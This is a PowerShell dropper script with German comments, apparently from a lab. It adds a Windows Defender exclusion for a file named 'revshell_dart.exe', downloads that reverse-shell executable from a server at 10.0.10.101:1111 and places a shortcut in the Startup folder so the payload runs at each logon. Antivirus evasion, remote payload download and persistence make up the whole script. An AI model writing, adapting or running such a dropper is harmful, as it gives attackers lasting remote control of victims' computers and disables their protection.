# === Konfiguration ===
$serverIP = "10.0.10.101"       # IP deines Servers
$serverPort = 1111                # Port deines Servers
$appFileName = "revshell_dart.exe"          # Name der Datei auf dem Server
$localPath = "C:\Users\xinux\"        # Lokaler Ordner zum Speichern
$localAppPath = Join-Path $localPath $appFileName
$linkName = "RevshellDart.lnk"

# === Ordner erstellen falls nicht vorhanden ===
if (-Not (Test-Path $localPath)) {
    New-Item -ItemType Directory -Path $localPath | Out-Null
}

# === Windows Defender Ausnahme hinzufügen ===
try {
    Write-Output "Füge $localAppPath als Ausnahme zum Windows Defender hinzu..."
    Add-MpPreference -ExclusionProcess $localAppPath
    Write-Output "Ausnahme erfolgreich hinzugefügt."
} catch {
    Write-Warning "Fehler beim Hinzufügen der Ausnahme. Bitte Powershell als Administrator ausführen."
}

# === Datei herunterladen ===
$url = "http://$serverIP`:$serverPort/$appFileName"
Write-Output "Lade $url herunter..."
try {
    Invoke-WebRequest -Uri $url -OutFile $localAppPath
    Write-Output "Download erfolgreich: $localAppPath"
} catch {
    Write-Error "Fehler beim Download: $_"
    exit 1
}

# === Autostart-Verknüpfung anlegen ===
$startupFolder = [Environment]::GetFolderPath("Startup")
$linkPath = Join-Path $startupFolder $linkName

function Create-Shortcut {
    param (
        [string]$targetPath,
        [string]$shortcutPath
    )
    $shell = New-Object -ComObject WScript.Shell
    $shortcut = $shell.CreateShortcut($shortcutPath)
    $shortcut.TargetPath = $targetPath
    $shortcut.WorkingDirectory = Split-Path $targetPath
    $shortcut.Save()
}

if (-Not (Test-Path $linkPath)) {
    Write-Output "Erstelle Autostart-Verknüpfung unter $linkPath"
    Create-Shortcut -targetPath $localAppPath -shortcutPath $linkPath
} else {
    Write-Output "Autostart-Verknüpfung existiert bereits."
}
